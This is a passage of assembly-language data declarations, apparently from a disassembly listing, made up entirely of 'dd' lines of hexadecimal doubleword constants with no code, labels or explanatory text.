		dd 3CDA182h, 9E4CF757h,	3D731EFFh, 8EFACABDh, 0FDC19A69h
		dd 2BED0934h, 0E4A15BF9h, 832220F8h, 31FEC75Bh,	7318FA7Ch
		dd 0CEA15AE5h, 6B66977Eh, 0DB060770h, 5E061E14h, 580780E8h
		dd 7DEEE1E9h, 0DFA519F3h, 65AD5499h, 5A7E3463h,	7041EA4Bh
		dd 100C1221h, 1D66F42Ah, 609B3802h, 7552A4E9h, 1A661D22h
		dd 606CA9D7h, 0EEFEB7CBh, 52105FA0h, 225DFBA9h,	1B90C580h
		dd 0ED01447Ah, 4627E740h, 206190DDh, 0CCBB4B2h,	4B307A7Eh
		dd 0B068D671h, 2589BCBFh, 0FE89BE68h, 605B86ABh, 0F9E6E961h
		dd 84C2A39Fh, 0AB7DF664h, 0E999C490h, 762658A7h, 8F972B20h
		dd 0A0C56BF0h, 4856BDFEh, 8902137Eh, 0C3C581EEh, 0B1CF7FF8h
		dd 0F2F1BE14h, 0B54A661Ch, 0C7D51D68h, 0B95E78B9h, 7A1102D5h
		dd 87E15C2Eh, 276247F5h, 0B02FC572h, 8007BA59h,	5375FC30h
		dd 15B191B5h, 0CD85A22Bh, 0CCC87186h, 0A2F40480h, 0EE58E608h
		dd 2BB13A81h, 0F6B140E2h, 0EE8005DEh, 0FE1FE988h, 108FB641h
		dd 0E02F8AA9h, 0DA0F41F2h, 1CC3017Fh, 3EB908A8h, 0BBE95D40h
		dd 0BE18BD43h, 78EA5774h, 0FE05BC90h, 941F764h,	0C002A4BFh
		dd 0D5759F6Bh, 9F0B9662h, 899847FFh, 1C75665Ch,	0BF571F0Eh
		dd 45457C1h, 0AA02E0Bh,	9308955Ah, 1357253Ch, 55DD990h
		dd 2577F262h, 0FB1AFC01h, 7662AE89h, 0E941F7FEh, 0EA273CD5h
		dd 0F27142D6h, 40F5A23Bh, 8567818h, 0EF0173C0h,	98810820h
		dd 0B25B1370h, 0F60F862h, 57E5D15Ch, 0BA1DB7E4h, 16B4BAECh
		dd 0BA6C40D7h, 1CF069Eh, 49B54CF4h, 7CDCF1C3h, 0C3A1DF3Fh
		dd 465941DAh, 7863800Ch
		dd 5BC5CEE0h, 0C4A2BD32h, 52A4F101h, 0E322E5C5h, 4897AD4Eh
		dd 0F641292h, 0F713F890h, 403EEFFEh, 1904F181h,	0E29A351Fh
		dd 5809D4BFh, 0FE5EF036h, 692DE430h, 0B703E652h, 12074F08h
		dd 0B356FC5Bh, 0BA00FCA1h, 34E7581Ch, 5AD6891Eh, 6601AFFCh
		dd 0B9D8B76Bh, 48E90312h, 0FF05F7C2h, 5E1418D8h, 4DFEC331h
		dd 0C87777E3h, 0DF881135h, 6824E0BBh, 6F921B1Fh, 0C9800E92h
		dd 964C9B9h, 4C31262Ch,	827EC972h, 18EB48D7h, 744DFA57h
		dd 8ECEDB50h, 0AA401341h, 61910770h, 0CC3C0C2Ah, 0EA58EE8Bh
		dd 457F8EA2h, 476D9620h, 0E04B34D0h, 53C8FE60h,	0C2BE8865h
		dd 6ABFD340h, 0F44ED05Bh, 0EC074A0Bh, 3C90C02Dh, 7F2930E6h
		dd 0AE5832D5h, 6BF5C78Dh, 2F80D56Dh, 39E976A8h,	43964842h
		dd 8443E969h, 70BB5416h, 77C4B8DFh, 0D616B00h, 1401116Ah
		dd 0A5350548h, 807E1643h, 256866EBh, 59C8B7A0h,	0D502BF9Eh
		dd 0F0AAA7A3h, 0BE56011Ch, 44C92271h, 85BC3046h, 8BFDA3DFh
		dd 57723104h, 28085FA8h, 1F9C25A0h, 0A0A664F9h,	0AFD82638h
		dd 0C271F627h, 780B1E6Eh, 96F8B5FEh, 0D706270Ch, 1D29A42Bh
		dd 2F115719h, 1AB69340h, 61C3BFA9h, 9236E5A7h, 0E1BF410Eh
		dd 858C8095h, 9FAECD9h,	9A36C4CDh, 8A46A9E7h, 3082E3FDh
		dd 778852C1h, 0F0A104E3h, 66E96F5Ah, 0EE60F412h, 0A03B9BE5h
		dd 0C25B8350h, 0FBE40BACh, 890B5124h, 8EDFF698h, 0EA16090Ch
		dd 0A34F11CAh, 2E91638h, 0C188A4C2h, 133BC4FBh,	9211A38Dh
		dd 15A100A9h, 4922942Ah, 211804DFh, 85EFA8D1h, 83DC8152h
		dd 0C4306E57h, 4C4B1007h, 0B9172179h, 0E04DAC88h, 0CB40AB68h
		dd 74427BDDh, 0AF95C7D7h, 549DF45Ah, 274227E2h,	759292D7h
		dd 0F85812DCh, 3BD390EDh, 0B092975Fh, 83DAF407h, 5425C6B4h
		dd 8A2074EBh, 4D8CB7B0h, 27969544h, 6D29552Dh, 5663B85Dh
		dd 12D75BE9h, 6F9BEAD8h, 26E8F42Ah, 10EFD231h, 3D044C75h
		dd 0E17B74EBh, 62C20h, 0E27FF8BDh, 45DDF76Bh, 0A30921B8h
		dd 7A5459h, 72E83208h, 603141CAh, 98638ADh, 45529ABFh
		dd 4B92A9E0h, 0C393530h, 5FD03D58h, 41E7AD0Fh, 140CA008h
		dd 0A62A5F67h, 0C14A88E1h, 0A3B861DAh, 2127793Ch, 19241E77h
		dd 0EF260168h, 50012FF1h, 0D728AFB7h, 0E6A51E5h, 68A0581Ah
		dd 42BF04B6h, 0BD899EBCh, 0B15C1917h, 9CDB3E4h,	0F380D3F6h
		dd 1C4884FFh, 3D506CE3h, 545640EEh, 229EF797h, 40BB5302h
		dd 7F078730h, 70752BC2h, 0A470EB9Ah, 0ED014FF0h, 8CBFD676h
		dd 524E8D13h, 562F230h,	0B92F5B97h, 1BAA8FEh, 340117Bh
		dd 0C76C4305h, 2DD02980h, 99CC07A2h, 36610D0Bh,	4680FD5Bh
		dd 7F5FF7E5h, 81D02923h, 0D183DEAh, 0D1943E3Ch,	0F5580809h
		dd 0FD9DB816h, 0EC590521h, 0E3B52FFEh, 0A822F7E0h, 50E7D1D2h
		dd 5078E952h, 4AE0B672h, 5B29E712h, 0EAD329E2h,	0CEFA5F95h
		dd 97E94CCBh, 0A22B0FA1h, 9EE90E3Fh, 8CBA132Dh,	72B5B727h
		dd 985871A2h, 5EA62E8Ch, 6858CCEEh, 1728A345h, 3CC12578h
		dd 5C71C3F6h, 0C04F5B89h, 926FF856h, 5FF07C02h,	891FC013h
		dd 0F0FBE4EFh, 0D276975Dh, 0D052E9C2h, 5C019FEFh, 7FEF6807h
		dd 0BD557A30h, 265803C9h, 41CD8142h, 612F4481h,	0BE047079h
		dd 653F9909h, 0DCDA757Ch, 53F99409h, 5F4F0BC6h,	77898529h
		dd 0AD4830F0h, 296F0466h, 38BE638Ch, 274D6885h,	0B8E9097Ch
		dd 0C34A7DB5h, 0B77C34ABh, 55FA5542h, 80C63520h, 28F61AC2h
		dd 0BF3E3D64h, 48C8F1B8h, 0BE010526h, 40530CE6h, 185EFA2Eh
		dd 0D72E0642h, 5C93E00Ah, 63902441h, 3CE3025Ah,	4A40606Ah
		dd 0C74C721Eh, 0F2CA0044h, 0E962A57Dh, 0FEFC2DABh, 0EB4F376Eh
		dd 0A20D26BFh, 0D1886D05h, 4986805Ah, 0E94D1306h, 0BAF6E016h
		dd 1C581B0Fh, 0CF575F4Bh, 702B31FFh, 0D84060Ah,	4E77E25h
		dd 5AFC7878h, 5C043CAFh, 0B8B178CBh, 0D4FDB83Dh, 0A0565B0h
		dd 0AF39802Bh, 8513EA16h, 930A04AFh, 0C6EC1323h, 0BF143212h
		dd 68C240E2h, 385D78DCh, 0BD2E5DE9h, 0D097FE6h,	7716D443h
		dd 0FF008989h, 4FD14881h, 518DE92Eh, 89C1D3ADh,	0D3ECEB83h
		dd 257D6081h, 542641F1h, 0DDA9205Bh, 31BAA1D7h,	12036F0h
		dd 0F82EEE81h, 11AD5A6Bh, 0F879522Fh, 3E983CFh,	0ED39023Fh
		dd 0AF221A30h, 1E8022CAh, 2C365E4Ah, 0F9F50127h, 7E607AB2h
		dd 0E72C0CBEh, 4026850Bh, 8593FE0Bh, 0FCACCADDh, 2129AA4Bh
		dd 4059EA3Eh, 0F2E050E8h, 0F72F9D05h, 30004932h, 0DAF67D81h
		dd 3E02D5C0h, 5BC29AB4h, 1FEA8h, 70AFE9E8h, 42DF9251h
		dd 3824D96Eh, 387F05E6h, 0FBC416DDh, 0E519782h,	0B1A4EB0Eh
		dd 225A8181h, 0B4E97F28h, 41D36812h, 2C25D45Fh,	717206Ah
		dd 0F814980h, 10220EF1h, 41F7AC32h, 23EEF1D6h, 92BB4B27h
		dd 42D49374h, 35B45004h, 80B70FABh, 0FF57389h, 9BA3619h
		dd 5CD07C44h, 0A1B45C60h, 162151Bh, 26BF5740h, 2B58F57Dh
		dd 6646A085h, 49C979A8h, 808392ECh, 0E38294EBh,	0A169343h
		dd 8DE25AD3h, 4BC6E987h, 0CFD2FC90h, 77CB792Fh,	0D62CF505h
		dd 0E0C433DFh, 5B09AD12h, 5EE0A180h, 83271D3Bh,	2FBDCEDh
		dd 25B0064Dh, 5BC83563h, 5312643Eh, 25A0BAE9h, 0A12FE9B6h
		dd 1EF86E7Ah, 7A6F6882h, 10963A7Eh, 2A9A28BAh, 0F382E41h
		dd 52D5816h, 0BB9DD70Fh, 0BAC0D15Ch, 0E91BF763h, 41015E85h
		dd 0A752AD70h, 68D06F3Ch, 0EC84E2AAh, 0F2AC5DE9h, 9C31EA4Bh
		dd 0BE40C301h, 0A054627Eh, 977199DEh, 9DEAF57h,	5EE5C140h
		dd 8DAC8C55h, 0EE85Bh, 63E342Dh, 0BD93B1E9h, 611E57C4h
		dd 0D3CB0C6Fh, 688F18C4h, 0F9286485h, 3166A17Dh, 0B7F87AEBh
		dd 4ADEEC5Fh, 35C1D2C4h, 0AF05D4DBh, 86EDEB4h, 542946B6h
		dd 140019EDh, 4FC26FF1h, 6BC08D5Ch, 0BAD745BDh,	0BB302CD9h
		dd 5B170F79h, 0B0B8015Fh, 98B54212h, 97736F9Dh,	6401DCFBh
		dd 5B301214h, 9481E771h, 2F6B47F3h, 46276B51h, 153448C0h
		dd 8DE744C1h, 0D1F0309h, 0E1368E4Fh, 89B50773h,	186AE23Ah
		dd 5A6C1FCEh, 5EF97888h, 4FDF20Bh, 76526906h, 8BE50BBh
		dd 169CCA40h, 0F87A793Fh, 0E95D0E48h, 0ECFE4B2Eh, 9F9B9263h
		dd 0FFF20FFEh, 66829515h, 7E2B3368h, 530A4A5h, 0FAC1FEDDh
		dd 5920854Bh, 8271231h,	0CA301616h, 0F0CC6BCEh,	8028A29h
		dd 10FE5B5Dh, 0C4EA2D12h, 7181AF80h, 0E72B7174h, 54511269h
		dd 2E0AE104h, 0C26A24EEh, 1FF6DE90h, 0F0292E8h,	5711356Fh
		dd 39D12E87h, 34B867E3h, 0D8E33904h, 9004E9F2h,	0D329C6A4h
		dd 75B86AC5h, 32EE2D02h, 65550896h, 0FED09EA2h,	0F6973DCDh
		dd 25EC205Dh, 0DDF69AD3h, 678CF160h, 7D547937h,	0E7E917C1h
		dd 0DE20FC2Eh, 0FBAC0BD3h, 0A9200493h, 1475BDC4h, 8028B642h
		dd 8C3BB7E7h, 76DCB554h, 0E105F080h, 0EA7C3C66h, 0F34C057Ah
		dd 0E065E945h, 555E59D4h, 0EFC253EBh, 62B6A03h,	44443E58h
		dd 0EF74EC96h, 97C39F4Fh, 2DFE9E2h, 0FEE675E9h,	6F317BD5h
		dd 185D03ABh, 706F30Ah,	0EB812E3Eh, 60FA52DDh, 4441D443h
		dd 0E1AD7A08h, 0A350C289h, 21743505h, 0A6813CEFh, 0FA48700Dh
		dd 9D78123Bh, 0C198FBC7h, 5DEE2409h, 7BCD0240h,	9150753Eh
		dd 0F22DC30Ch, 24E91E29h, 509CF9A2h, 204BF380h,	8792BBC3h
		dd 0D8023878h, 6C15685Bh, 598A1E6h, 2EB4B320h, 743EDD1h
		dd 9BAA925Ch, 5EA570FEh, 0DA70091Dh, 3C42C771h,	3D220CBAh
		dd 0CA0101E7h, 12DFD830h
		dd 62034Fh, 405ACD67h, 174FE93Ch, 778A2387h, 0B9BF8844h
		dd 0F8A68B2Eh, 2C514AB3h, 0B031E939h, 0D7687B47h, 0C050B86Ah
		dd 87E1C538h, 0E9CD1701h, 68DFE0E3h, 175E6309h,	11167D03h
		dd 72124227h, 31862061h, 8EEC116h, 0E656541Dh, 0D1942204h
		dd 7EAE0053h, 0F772D309h, 32CDE60h, 0C0E098E9h,	0F4685522h
		dd 3F5F4058h, 1E50911Eh, 4B0C8130h, 54B8BA8Dh, 6EE594A1h
		dd 33859E17h, 50E2B0FBh, 0A758E3BEh, 451C2460h,	62010925h
		dd 6641CF5h, 7D0530BEh,	0D14D9B78h, 0D04F075Fh,	0C5600787h
		dd 159345EFh, 0ECF5014Ch, 19F39BC4h, 80E05892h,	0FB10D340h
		dd 85EE97C4h, 1DC982F6h, 5E530F09h, 7D2D831Eh, 0A5FE429Ch
		dd 0F1578B64h, 0FCD65E82h, 6265EF2Dh, 0FF8612EAh, 7654E37Ch
		dd 90354FE9h, 0E572E074h, 0E426307Bh, 8741DE38h, 16FA147h
		dd 0ED5C0B48h, 0E885516h, 10974DA7h, 0D60086D8h, 0E97A7B44h
		dd 6AC1291Eh, 64962D66h, 0A155072Ah, 0EDE9A22h,	44640A5Bh
		dd 0D26CB8CBh, 0F7FDC518h, 732B8DDh, 2372D880h,	0BFE48F31h
		dd 79A0B314h, 30AC1C32h, 75F54421h, 21DA58F7h, 120A0310h
		dd 0E6E0FE5Ah, 50C89FBBh, 8F9F12B8h, 0EB1584E1h, 5700E8A2h
		dd 647536BFh, 6E09BB0Bh, 5D51AE6Ah, 19612312h, 605FDE66h
		dd 0FC42DABDh, 95FEFA9Ch, 0DC085D7Bh, 10C63061h, 51077148h
		dd 62DBCB81h, 81C04164h, 0F08B331Dh, 0F31130E9h, 0E576842h
		dd 0F81C282Eh, 72E22C16h, 804E3903h, 0A67A293Fh, 0E90A0454h
		dd 40EB8A34h, 0A545ECAFh, 680D78A3h, 0C5A3620Bh, 0D6F805BEh
		dd 0FE643148h, 0E580EE75h, 4E3A2F99h, 2D8AB96Eh, 0B1CAC183h
		dd 7BC83460h, 0CC2C2766h, 0A3220796h, 0B6D62038h, 1A5C49F4h
		dd 0EFC9DCAAh, 9D407057h, 661064EBh, 2558D690h,	0E3D10639h
		dd 371C877Bh, 6306ACC3h, 22647AF6h, 3CC2E34Fh, 34F9573Fh
		dd 0AD7D5702h, 0E6D0557Ch, 28FDE912h, 4FFB3546h, 0D3F73006h
		dd 0E019BE8h, 6FE9730Bh, 4B3DF165h, 3E68C901h, 92112872h
		dd 0BC8CA5A8h, 0DB02ED33h, 12F1619h, 0A6C62D5h,	78257608h
		dd 0F7EBD60h, 3F0E68E1h, 97E09551h, 58C2C589h, 4A1F847Eh
		dd 13E25717h, 393FBD09h, 7A083041h, 83559005h, 0FB019B00h
		dd 0BDB241E9h, 0F49F75E6h, 30572FA7h, 3F91CB18h, 0CE05818h
		dd 6D081C8Eh, 20C0729Fh, 86D0C38Ah, 45EF249Fh, 4CB2DDAFh
		dd 5B3278DDh, 0BB82DC5Fh, 23F220F4h, 44436812h,	1FC5BFA8h
		dd 5B93A32Ah, 0FC48AE0Bh, 45E59FC2h, 0AF07DE2Ah, 0E1686C21h
		dd 0BE4AAE68h, 8D60239h, 8B581D08h, 295C1820h, 651F90C0h
		dd 4D452633h, 138D0258h, 0E08710F1h, 0C17C44C9h, 89CB0B14h
		dd 7D593C75h, 99A15EB4h, 0B4DC075h, 68160598h, 1F6014D6h
		dd 58FC3E52h, 0E9166E42h, 0BAA24B4Fh, 0D26F6355h, 22BD540Eh
		dd 856BD86h, 0B72F1FD8h, 0A56FD279h, 49AF675Ch,	46A0FDF9h
		dd 6608ECC0h, 607414CBh, 3896B43Bh, 0E73DC3B7h,	1692EFF5h
		dd 0F0BC1645h, 0F4FF9D94h, 44C1E188h, 0E6C095B6h, 5335A06Bh
		dd 0BBFEB779h, 7E5FCAA9h, 26867188h, 71BD52h, 732A87F3h
		dd 5A5C5371h, 9A3106Ah,	700C5232h, 7A6D1A77h, 87BA4CB6h
		dd 0E9413A0Eh, 0AE7484F3h, 0BA0517B2h, 0BB5F9F0Eh, 66C31E04h
		dd 0AD098A14h, 0B7606832h, 1227116Dh, 4BA9784Ch, 24C9EA47h
		dd 0B592F4ECh, 110BD6D9h, 624A7120h, 0C99AA384h, 9401B80h
		dd 4D901A58h, 0B7548507h, 296BD126h, 125276E4h,	2F97F1AFh
		dd 6B31E732h, 7F15D213h, 59EAD5A0h, 39906A96h, 0A5144F0Ch
		dd 126D0C42h, 8303FE3Ah, 69D8CD20h, 53907E9Fh, 0B8293713h
		dd 7FF59701h, 0AE719A2Bh, 6EF5C16Eh, 91C0694h, 0BC55DA0Bh
		dd 0C4D66C42h, 0E96321A5h, 2D811675h, 71106C3h,	0DFCA4135h
		dd 0CE0C0069h, 88872734h, 0DDA7FA56h, 0E913921Ch, 0B6A4BB9Ah
		dd 2B3D419Eh, 747C86E1h, 6F55CDB1h, 9DC9D7BCh, 0F780BAF8h
		dd 6C9DFEE0h, 4F557CC0h, 0FA485737h, 578241C2h,	0E0D56BABh
		dd 99DC6864h, 0CD8B08A0h, 2A84E125h, 8050E93Dh,	0EA495F09h
		dd 6D92FB27h, 0C9A5F635h, 305A37C9h, 0DD5FF58Ah, 0E71160E9h
		dd 55C2620Ah, 2664415Eh, 0E28F202Eh, 0A6281742h, 0A79A9652h
		dd 201A1F5Ch, 0F70925BFh, 0E06CD1FCh, 4679D481h, 24DAC010h
		dd 8581EDD1h, 4E76ED4Ch, 0E90B9F28h, 4E1448F2h,	0B2AECDD2h
		dd 17FE978Eh, 1273E7FFh, 0DDBA532Eh, 0B6EC3BFAh, 0C66D68B1h
		dd 0B4517BA6h, 4277EC30h, 28077CBDh, 69957127h,	1C7C0D78h
		dd 0DEBF9035h, 97684831h, 543B3AA9h, 0E1A86019h, 7B6D3DC6h
		dd 0CB9C47E5h, 74D03277h, 1574B94h, 1332DD1h, 1F02E0ADh
		dd 0B174291Eh, 587E68E2h, 0BBD1D34Eh, 0C7027169h, 81580027h
		dd 2E2765F6h, 998F85Ch,	0C6E64E98h, 0F56D0BF7h,	0DC5AFE94h
		dd 0E630BE04h, 5D22BBC2h, 6C648FFEh, 5BCE8CAFh,	0E958D9C1h
		dd 2D85E5B4h, 0FAEE81FEh, 2C5FBC93h, 0C73ABBF6h, 2CAD006Eh
		dd 3095D601h, 7C18C6CAh, 0A5215F76h, 0C0806BAh,	881C82h
		dd 81004B81h, 5A8A57E5h, 14F444BFh, 86B514ABh, 0DCCD6F12h
		dd 9B0B6830h, 0D57B182Dh, 0F395CD16h, 5A960913h, 7BB92330h
		dd 0C0CE3C2Fh, 21FD5D7h, 71E94FA5h, 267BFFD1h, 0CE42DD6Ah
		dd 7AD509A4h, 0DE31276Ah, 7C95449Ch, 4160EB1Ch,	3317DB85h
		dd 41EF89F3h, 0A777F4Ch, 35C17E66h, 1051D96h, 5437C066h
		dd 3B432A25h, 94E40231h, 3030160Ch, 449DF1F4h, 90F597AEh
		dd 1525A31h, 0CEFEBEB6h, 0CFF1F680h, 4BE935A8h,	0A5E99748h
		dd 4AB7CFFAh, 0B9188CFBh, 0D0F0DD69h, 7782AA4Fh, 922D3FC0h
		dd 78B728E6h, 7E58649Dh, 0E0B8AB57h, 1340F873h,	0FA09C897h
		dd 0B2FD0B21h, 23DEBD02h, 7E866B42h, 16AD4AFCh,	67EEE206h
		dd 7992765Ch, 0FC485723h, 0AE651AF1h, 16AF7750h, 9219BD0Dh
		dd 5023CAEEh, 3A00AE07h, 1BE7440h, 9DD42AE4h, 0B1BFFA80h
		dd 48586B1Eh, 3AF5F9Bh,	56EF81F7h, 2968AA80h, 44C7E1EDh
		dd 1208F908h, 0F9442BDCh, 0C2346DFBh, 94D49A04h, 68529531h
		dd 25786BECh, 0F9745A6Fh, 74AE1D24h, 0D4E2F7E9h, 0B1D9457h
		dd 58DF685Eh, 1488ADF1h, 9905018Bh, 0E97D5273h,	3CF6825h
		dd 0DD1409BBh, 3461D13Eh, 0F50DB74h, 94B7ACB0h,	0D1C1586Dh
		dd 523A21h, 50E5A7ABh, 7E006F63h, 30350266h, 795609h, 2D03E8C1h
		dd 0D437267h, 501D6BFAh, 81873E76h, 802BFD61h, 1F6A289Ah
		dd 4B1B806h, 0F0E9EFD1h, 0A744BFC1h, 0BD101978h, 0FE67D705h
		dd 0C5F5F85Dh, 4FC533Ch, 0A10FE5E7h, 0CCB96B39h, 0A38E9A0h
		dd 17BC39D2h, 5C700202h, 71D55D1Eh, 12DA24FAh, 972ABA26h
		dd 2E8D011h, 3B6AFAF2h,	3AD608h, 0CB453DCAh, 1ECE4247h
		dd 0CFEFE584h, 0D7D32482h, 805AA805h, 3342E953h, 0F8EF47C0h
		dd 904EBD2Eh, 2D7A0930h, 6C55E2FEh, 0DD890CC6h,	55E7E5E9h
		dd 0A9A86828h, 2B923B50h, 5C607441h, 0E2FD41F4h, 64AAF275h
		dd 0C2C1685Fh, 5A7F8215h, 0F1E92752h, 0DFD0B40Bh, 0A304C280h
		dd 0E3BF8F98h, 0D8EA9CD7h, 4D955939h, 0AB5E3BCBh, 0DD60333Dh
		dd 0BEB44013h, 94773A09h, 0E4887F4Ch, 102600C3h, 89E969D4h
		dd 5BBA0740h, 6E1DE1A2h, 13102DE8h, 80B9028Ch, 41C9A6AAh
		dd 0CA7AFB0Fh, 61392F60h, 826ED156h, 89A6C334h,	5030F733h
		dd 9BC237EFh, 0DAC2F6Ah, 0F70445DCh, 0EEE4FEF9h, 5FCAF968h
		dd 0FCBD9B1Eh, 94D572C3h, 2A336155h, 7A1A8DE9h,	6E170EA6h
		dd 0EFCC2102h
		dd 0F6010211h, 7527BD07h, 80B1EC81h, 0EA0B6BC0h, 6BFCD24Ch
		dd 2DFF78C6h, 0F07F0CF7h, 352DE903h, 9F2DBB7h, 90F9468Dh
		dd 0F2BE5193h, 0C8AFD68Ch, 0DB5BBD45h, 2DD87404h, 0E9FF31C9h
		dd 317E205Bh, 6AA27A10h, 0C5F1841h, 0B23859B1h,	62481581h
		dd 1EE17001h, 0C099F612h, 0F7A92BC7h, 94551E0Bh, 95681269h
		dd 0A069E961h, 978602E9h, 6895387Dh, 5CC2BFBCh,	5B1396D5h
		dd 3572B057h, 61953270h, 0E1250540h, 41DD8D7h, 5A0792DCh
		dd 0FBDB8411h, 6160A3CFh, 47620968h, 0E95B4506h, 47C0DF9h
		dd 222FEEBDh, 3DA5C048h, 60615220h, 0A5086D0Ch,	0C421DC21h
		dd 0F8D33B7Dh, 633AB977h, 0DF93FB48h, 64A2085Bh, 20012492h
		dd 4715E913h, 0B5DCCE9Dh, 4E9BB56h, 7218192Dh, 1D164CEDh
		dd 9BFFA35h, 0E6828798h, 0D75C1195h, 68933052h,	0C5715955h
		dd 0FDA42DCEh, 35A4EA32h, 9C905Fh, 16F11B05h, 6E9DA31h
		dd 0AEF87592h, 11D35313h, 0E98498EEh, 50DA2C25h, 5FEBFCB0h
		dd 0E9ADFC36h, 6B4A4A20h, 67553ED9h, 2C65A16Bh,	0E9D501B6h
		dd 6BFF2C07h, 3E95C044h, 1211FC17h, 572446h, 0D5EF87D5h
		dd 4194F5ABh, 6C533F6h,	3BC90BF4h, 1A001054h, 5883272Fh
		dd 6314699Dh, 0BFB8BE04h, 0EB6BD1D2h, 89D86E74h, 0DD099DAFh
		dd 0F694587Ch, 302D1C86h, 0BF01DCEEh, 0CD52FDC6h, 0E0C99830h
		dd 0EA084A05h, 4B080C10h, 0FFD0B2B2h, 0A44BFF5Bh, 4F7082FDh
		dd 1ECC7D22h, 46BAB96h,	5E0EE6F6h, 0D030D3DFh, 420E7BA2h
		dd 0FB84034Ah, 6C0D3AC0h, 0E90C1EFBh, 8438E487h, 0BEAF0F66h
		dd 6F75C4C8h, 6883DCD8h, 79E6139Dh, 1B27E3FBh, 34C27821h
		dd 0AE453D0Ch, 2D6D84F2h, 0D4CE3AA0h, 85B7F733h, 0C532AEEDh
		dd 9F6FF84Ah, 0D80B5BF3h, 4956D982h, 1F91CD48h,	19BCF499h
		dd 2D1036DDh, 0E216AA2Eh, 0A34338BBh, 84EE1D5Dh, 0B213D356h
		dd 0D2D410E9h, 71655F2Dh, 57815689h, 1BB0A894h,	4B5CBEFAh
		dd 747425D4h, 0BCFAAFF0h, 0D831AD1Eh, 6440C512h, 0E60A58B8h
		dd 0DDF19541h, 0E963D202h, 3D28D52Fh, 0CB551E08h, 921A05E3h
		dd 5A1E0D82h, 2D9FF155h, 0F49C13FAh, 849275F2h,	446CC5F7h
		dd 6950B420h, 0D378D741h, 2861AF8Bh, 3BFB485Ch,	8CBF464Ah
		dd 415EB02Ch, 72981330h, 0C97150CAh, 67BF14E5h,	552592C3h
		dd 0A1B0F6C0h, 4C8FE13h, 70BE1B0Bh, 0D0292F07h,	0DB969F65h
		dd 98AAB4C4h, 0E58EBD6h, 685484F6h, 0C2215B04h,	296A3A1Bh
		dd 621A6F82h, 6C94A8C1h, 0F374990Dh, 96E9E7Bh, 5D8682E9h
		dd 0CB8BB67Bh, 0E8F2A50Bh, 8C9920C3h, 9A8C31BFh, 0C6400564h
		dd 3091530Fh, 7FCD0481h, 8074D819h, 0C62DDBDBh,	0DBA4554Ah
		dd 5F940CC7h, 890C63AEh, 0F9883701h, 0BCE9FD31h, 0D44C956h
		dd 65857734h, 9D7FFCB8h, 0EC2C60FBh, 0DB84AB92h, 227EEB25h
		dd 3B7CC62h, 0F0EFC05Bh, 0FEADC980h, 19F1D4E7h,	6D6174F4h
		dd 0DDF74522h, 4CC9ED2Fh, 0E85405B0h, 0B30829E3h, 0EF6A25CAh
		dd 0C8B05784h, 299EF05Bh, 6A72DD5Ah, 5219F32Fh,	2AC3130Fh
		dd 6510C76h, 2319B17Bh,	0B92D9F6h, 4EADC1CCh, 0E0FAC128h
		dd 0B5EC2FBCh, 62606489h, 971EC780h, 0E889FE08h, 463AFF3Bh
		dd 0AE682E8Fh, 1C68307h, 7DCE8F83h, 0D5F41210h,	3BD1A5FEh
		dd 0A23F76B5h, 57A6282h, 49F509F1h, 3789D98Dh, 0F4F064B0h
		dd 0FE46232Fh, 824C5235h, 5344B52Dh, 0BFA3124Ah, 432FCCE7h
		dd 535C0482h, 1228B455h, 0E33FB468h, 4E6F0087h,	0B850113Bh
		dd 0A37B0082h, 92E8D122h, 0B79A01E9h, 78D78727h, 0B545F4B2h
		dd 9680A009h, 29181A7Ch, 9DA078B7h, 2868E381h, 8931552Dh
		dd 8BFD12h, 5E9BE957h, 892F8807h, 0CF4DEE7Ah, 0CE810214h
		dd 401612A5h, 83B47A3Eh, 0E9B0D6B6h, 7F3F8E2Dh,	0A842F6B2h
		dd 29920976h, 1820FCA1h, 0BAEC5ED1h, 0B0589D72h, 26857B3h
		dd 306114BCh, 7BC1475Fh, 0C6D96F73h, 0EA01DF3Dh, 1577846h
		dd 0D0123C54h, 325A270Ch, 0FB40C1D5h, 0B7059464h, 2D1EBE58h
		dd 10D2617h, 0E8616D8h,	0E9992EE9h, 6D2D1E0h, 0E236B3A1h
		dd 2C16B63Dh, 0A0F609CDh, 0D1F7B54Eh, 218F2A0Ah, 916B9917h
		dd 49B21DAh, 504AC0FEh,	883CAEB0h, 28580BC6h, 3AE5F5F0h
		dd 521F680Fh, 1250E388h, 0C003E951h, 99530533h,	0F137B02Dh
		dd 2B72A513h, 0E14F0427h, 72D940AEh, 380122Fh, 0AB3BEC47h
		dd 48E6BC3Ah, 0F0AFB583h, 0F74B2FA0h, 0CFDCA4A1h, 1B02019h
		dd 11095748h, 891CDF1Eh, 22FDE8FAh, 0EA4E92F0h,	1889A4E5h
		dd 14FD08EDh, 4228B4A3h, 3102D409h, 495C5DC5h, 1C65DF59h
		dd 0DF52BA3Eh, 9BA396C4h, 5B458A4Fh, 0AF8434FFh, 15D56CC1h
		dd 0F860AC35h, 82292595h, 0D803715Ch, 6817C12Dh, 34081CE6h
		dd 8E14161Ch, 2B64AC0h,	0B571BC5Fh, 0BA2CABAh, 2D2AC8E9h
		dd 9FE0F83Ah, 5B2CC906h, 9828147Fh, 0D7F1B28Fh,	7655F29Ah
		dd 152ACA01h, 2BEEE932h, 9ECF5024h, 9A5F5A55h, 34A04876h
		dd 12451649h, 0E56F015Ah, 6B737043h, 1980B1B9h,	0F75BB33Eh
		dd 5CB0DB5Fh, 34872E8h,	0E9DF31BCh, 9B02F88Ch, 116621F7h
		dd 18F7C68h, 89B4F614h,	0E58740FDh, 0EC247322h,	0B106D708h
		dd 27B8BF5Eh, 9B292979h, 4B31725Dh, 4D74CA2Bh, 545116D7h
		dd 62F59F16h, 1778EC3Ah, 24FE7462h, 0FC44829Ah,	0D9683BF5h
		dd 2A73E0F1h, 50C78807h, 149DC252h, 0C95BD049h,	0CF92748Bh
		dd 54171243h, 0BD8FBF5Dh, 7D04FA5Bh, 0D09070B0h, 0FDECB604h
		dd 0E784E43Bh, 0B31F7109h, 0E9EE814Eh, 2A936E85h, 3BD5EBB9h
		dd 0C24165F8h, 83D1AA05h, 53031730h, 6F45D3F1h,	0E0818992h
		dd 50F30715h, 0B2D88271h, 50419675h, 0E95CF766h, 4EAA16AEh
		dd 8C0521EBh, 0C7A33A26h, 2BB55D72h, 1D13D940h,	81065A5Fh
		dd 0CFE3D8F5h, 0DA770E6h, 0CA73569Dh, 24520905h, 0D29AF0D6h
		dd 6D6FFD88h, 2A002726h, 0BD7D0627h, 7FCF0ACAh,	28E829C1h
		dd 40C3093Dh, 685D51C7h, 2F39439Fh, 0CBF8441Eh,	0DB8A99B0h
		dd 5C521671h, 7F45E95Dh, 0F213E90Bh, 59850ACCh,	2F72B53h
